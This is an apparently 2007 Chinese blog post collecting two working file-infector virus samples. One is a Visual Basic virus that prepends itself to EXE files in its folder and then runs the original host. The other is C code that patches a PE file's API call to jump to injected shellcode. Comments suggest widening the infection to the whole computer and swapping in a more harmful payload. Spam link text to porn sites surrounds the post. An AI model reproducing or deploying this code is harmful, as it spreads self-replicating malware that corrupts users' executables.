青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

感染EXE

收集兩篇感染exe的文章,有時間了把它寫出來

VB:

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代碼
Private hArray() As Byte '要感染的文件的代碼
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出錯處理

'原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'這是在讀自己的代碼


Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個文件(目前只是在病毒所在的目錄下隨機選一個,將來你可以修改,讓它不斷的循環搜索計算機上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'讀出病毒自身的代碼


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保證被感染的不是空文件(不是圈套)
End If
End If
'讀出準備被感染的文件的代碼

Victim = Dir() 'Next

Wend

'下面的工作是為了保證病毒不會重復感染一個文件,也不會自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出錯處理,空著就可以了

End Sub



VC:

/**************************************************************
* 函數:InjectCode
* 參數:char szHostFile[]--待感染的exe文件路徑

* 功能:感染一個exe程序,運行顯示“金豬拜年”的MessageBox
* 從代碼節開始搜索,替換第一個發現的call api的指令
* 把目標代碼插入代碼節的尾部
* 代碼僅供演示之用,沒有做過多的錯誤處理
* 感染當前hello.exe,插入一段彈出對話框代碼(當然你可以修改成啟動文件的代碼,嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* 編譯:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改為當前系統的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

posted on 2007-10-08 14:21 葉子 閱讀(1077) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美在线视频观看免费网站| av成人手机在线| 国内精品久久久久影院 日本资源| 国产精品国产三级国产aⅴ入口| 欧美日韩中文在线| 国产精品一区三区| 在线不卡中文字幕播放| 亚洲国产欧美在线人成| 一区二区高清视频| 久久国产99| 亚洲国产欧美日韩精品| 亚洲欧洲一区| 午夜精品久久久久久久99水蜜桃| 久久久久久成人| 亚洲福利专区| 欧美在线视频不卡| 在线免费观看日本欧美| 亚洲欧美欧美一区二区三区| 欧美国产日韩一区二区| 亚洲网友自拍| 蜜臀va亚洲va欧美va天堂 | 久久亚洲综合色| 亚洲国产一区二区a毛片| 欧美日韩成人一区| 国产亚洲成人一区| 亚洲一区一卡| 亚洲国产视频一区| 国产精品一区免费在线观看| 美女国产一区| 欧美一区二区三区在线看| 国产精品久久久久aaaa九色| 久久www成人_看片免费不卡| 男女视频一区二区| 亚洲国产成人久久综合一区| 久久综合伊人77777麻豆| 亚洲欧美偷拍卡通变态| 欧美日韩www| 久久夜色精品国产欧美乱极品| 欧美精品亚洲精品| 亚洲精品一区在线| 亚洲人成精品久久久久| 欧美ed2k| 久久男人av资源网站| 久久久99免费视频| 很黄很黄激情成人| 麻豆成人在线播放| 国产精品视频久久一区| 欧美一区国产在线| 欧美一区影院| 亚洲欧美在线一区| 欧美激情一区二区三区在线| 美女黄毛**国产精品啪啪 | 久久综合久久综合九色| 91久久综合| 久久国产主播精品| 亚洲国产女人aaa毛片在线| 亚洲在线中文字幕| 极品尤物一区二区三区| 亚洲国产一区在线| 亚洲电影中文字幕| 久久精品亚洲精品| 久久久午夜精品| 国产精品欧美日韩| 亚洲尤物在线| 亚洲电影免费观看高清| 欧美一级淫片aaaaaaa视频| 亚洲字幕一区二区| 欧美日韩精品综合| 日韩一二三在线视频播| 国产伦精品一区二区三区在线观看| 亚洲精品中文字幕在线观看| 国产精品久久二区二区| 日韩一级欧洲| 午夜伦欧美伦电影理论片| 欧美日韩中文字幕在线视频| 亚洲区一区二| 亚洲视频 欧洲视频| 久久精品一区二区三区四区 | 亚洲精品国产日韩| 亚洲天堂av图片| 亚洲自拍三区| 国产一区二区三区在线免费观看| 亚洲日本成人| 亚洲在线日韩| 国产日韩欧美日韩| 久久久久免费| 欧美亚洲在线播放| 欧美视频在线看| 亚洲一区二区影院| 久久婷婷色综合| 亚洲激精日韩激精欧美精品| 欧美激情免费观看| 亚洲新中文字幕| 久久综合九色综合欧美狠狠| 亚洲国产精品第一区二区三区 | 亚洲性线免费观看视频成熟| 久久成人综合视频| 亚洲国产精品久久久久婷婷老年| 欧美激情偷拍| 午夜精品久久99蜜桃的功能介绍| 美女任你摸久久| 亚洲一区二区三区777| 麻豆精品视频在线| 一区二区三区.www| 91久久久久久国产精品| 欧美日韩一区三区四区| 欧美大片在线看| 一区二区在线视频播放| 欧美精品久久天天躁| 亚洲综合电影| 亚洲经典三级| 亚洲精品影视在线观看| 国产精品实拍| 欧美激情一区二区三区在线视频| 亚洲欧美日本视频在线观看| 亚洲成色www8888| 在线免费观看日韩欧美| 欧美午夜一区二区福利视频| 99视频精品免费观看| 亚洲一区二区三区精品在线观看| 一色屋精品视频免费看| 欧美日韩亚洲免费| 免费不卡在线观看| 欧美在线一区二区三区| 亚洲视频一区在线| 亚洲无限av看| 亚洲精品日韩欧美| 国产一区二区看久久| 欧美三级网页| 欧美激情小视频| 老牛国产精品一区的观看方式| 先锋影音一区二区三区| 久久在线免费| 欧美一级黄色录像| 亚洲一区亚洲| 亚洲无限av看| 亚洲一区二区视频在线| 日韩视频一区| 日韩视频一区二区在线观看 | 欧美激情1区2区| 久久综合色播五月| 久久久久久久久蜜桃| 欧美亚洲综合另类| 欧美一区二区成人| 欧美一二三视频| 性xx色xx综合久久久xx| 午夜精品影院| 欧美一区二区三区喷汁尤物| 亚洲午夜日本在线观看| 亚洲一区二区视频| 亚洲欧美日韩国产一区二区三区 | 亚洲欧美日韩综合aⅴ视频| 一本色道久久综合一区| 99riav久久精品riav| 国产精品日韩在线观看| 国产精品videossex久久发布| 欧美日韩午夜剧场| 欧美性做爰毛片| 国产精品日韩欧美一区二区| 国产精品每日更新| 欧美mv日韩mv亚洲| 欧美国产免费| 久久精品夜色噜噜亚洲aⅴ| 久久精品免费播放| 久久亚洲精品视频| 亚洲欧美日韩天堂一区二区| 亚洲一区美女视频在线观看免费| 午夜在线成人av| 久久精品国产一区二区电影 | 亚洲精品激情| 中文国产成人精品| 久久成人久久爱| 免费成人在线观看视频| 欧美日韩一二三四五区| 国产日韩av一区二区| 欧美日韩一区免费| 国产亚洲精品bt天堂精选| 狠狠色狠狠色综合日日tαg| 亚洲人线精品午夜| 午夜一区在线| 欧美国产精品久久| 亚洲在线1234| 欧美成人精品一区| 久久综合伊人77777麻豆| 欧美激情亚洲| 国产日韩亚洲欧美精品| 在线观看一区| 亚洲综合国产精品| 亚洲第一黄色| 午夜精品一区二区三区四区| 欧美激情国产精品| 国产一区二区三区成人欧美日韩在线观看 | 一本色道久久综合亚洲91| 欧美在线日韩在线| 亚洲国产成人av| 欧美在线观看www| 欧美天堂亚洲电影院在线播放| 精品51国产黑色丝袜高跟鞋| 亚洲天堂成人在线视频| 欧美1区免费|